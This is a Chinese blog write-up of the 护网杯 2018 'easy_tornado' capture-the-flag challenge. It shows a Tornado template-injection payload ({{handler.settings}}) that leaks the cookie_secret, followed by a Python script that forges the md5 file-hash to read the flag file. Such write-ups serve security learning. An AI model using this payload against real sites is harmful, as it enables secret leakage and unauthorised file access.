[护网杯 2018]easy_tornado

最新推荐文章于 2024-03-29 12:54:37 发布

m0sway

最新推荐文章于 2024-03-29 12:54:37 发布

阅读量190

点赞数

分类专栏： Buu-Web 文章标签： tornado CTF 网络安全 WriteUp web安全

本文链接：https://blog.csdn.net/m0sway/article/details/129851693

版权

Buu-Web 专栏收录该内容

22 篇文章 0 订阅

订阅专栏

[护网杯 2018]easy_tornado

进入靶场：
在这里插入图片描述

首页上三个链接，挨个去查看下。

在这里插入图片描述

链接格式都是：/file?filename=/hints.txt&filehash=xxxxxxx
flag in /fllllllllllllag：猜测flag在文件/fllllllllllllag中
filename hash要用md5(cookie_secret+md5(filename))的格式加密
接下来的问题就是filename有了，剩下cookie_secret，cookie_secret是tornado框架里面的。

fuzz后面的参数：

发现存在msg参数可以进行模板注入：
在这里插入图片描述

tornado在搭建一个网站时，肯定会有多个handler，而这些handler都是RequestHandler的子类
RequestHandler.settings又指向self.application.settings
这样我们就可以构造一下payload：?msg={{handler.settings}}
拿到cookie_secret就可以写个小脚本去算md5值了

import sys
import hashlib

cookie = "d9378b20-58de-430d-afce-313282095a39"
filename = "/fllllllllllllag"

md5 = hashlib.md5()
md5.update(filename.encode('utf-8'))
finename_md5 = md5.hexdigest()

flag = cookie + finename_md5
md5 = hashlib.md5()
md5.update(flag.encode('utf-8'))
flag_md5 = md5.hexdigest()
print(flag_md5)